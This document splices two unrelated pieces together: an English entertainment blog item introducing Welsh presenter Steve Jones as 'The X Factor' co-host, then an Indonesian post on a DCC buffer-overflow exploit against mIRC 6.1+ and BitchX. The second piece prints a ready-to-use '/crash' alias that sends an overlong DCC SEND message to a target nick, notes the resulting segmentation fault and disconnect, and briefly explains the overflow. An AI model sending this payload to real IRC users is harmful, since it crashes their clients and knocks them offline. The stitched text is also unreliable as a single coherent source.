Meet Steve Jones, your new 'X Factor' co-host

Let's get this out of the way immediately: No, Steve Jones of the Sex Pistols is not the new co-host of Fox's "The X Factor."

While that would've been totally awesome, we're sure the 34-year-old Welshman of the same name will do a bang up job alongside ex-Pussycat Doll Nicole Scherzinger. Even if he can't play guitar to "Anarchy in the U.K."

So who is the guy?

According to a press release from Fox, Jones is a native of Rhondda, Glamorgan, Wales who traded up from a modeling career to TV hosting gigs in the U.K.:

Jones' credits include the late-night series "Transmission," the marathon music show "Carling Live 24," seven years on the incredibly popular children's weekend morning entertainment show "T4," two installments of "Let's Dance for Comic Relief" and the special "Guinness World Records Smashed!" He will next be seen [in the U.K.] hosting "Drop Zone," "Wedding Crashers" and "101 Ways to Leave a Gameshow," as well as teaming with his brothers in "Jones Brothers Amazon Adventure."


Well alrighty then.

Alasan exploit DCC vulner pada Mirc 6.1 keatas

Masih ingat dengan exploit DCC pada mirc yang menyebabkan buffer overflow ?. Penulis yakin kalian masih ingat.

Disini penulis mencoba untuk memaparkan hasil percobaan penulis mengenai exploit ini kenapa menyerang Mirc 6.1 keatas. Dan perlu diingat, tidak hanya pada Mirc saja akan tetapi penulis juga telah mencobanya pada BitchX versi 1.0 keatas dan hasilnya juga vulner.

demikian contoh yang telah penulis coba pada BitchX

/alias /crash { .raw PRIVMSG $1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z) $+ $chr(32),250) $+ " 0 2130706433 $+(8192,$chr(1)) }

segmentation fault

Dan akan langsung diskonek dari server. Inilah yang terjadi. Nah pertanyaannya ialah kenapa bisa ? Silakan menjawab dari penjelasan exploit di bawah ini

Penjelasan dari script exploit tersebut yang paling fatal sebagai berikut :

$str($rand(a,z $+ $chr(32),250)

Artinya mengembalikan sejumlah karakter secara random antara a - z ditambah karakter ASCII 32 sebanyak 250 kali.

Nah kesimpulan yang dapat penulis petik dari hal tersebut ialah pada irc yang ada ternyata memiliki vulner yakni tidak mampu menerima karakter dengan jumlah karakter hingga batas tertentu yang mengakibatkan overflow.

Untuk lebih jelasnya tentang perintah yang ada silakan merujuk pada Mirc Help. Dan jika ada kesalahan dari penulis silakan dikoreksi
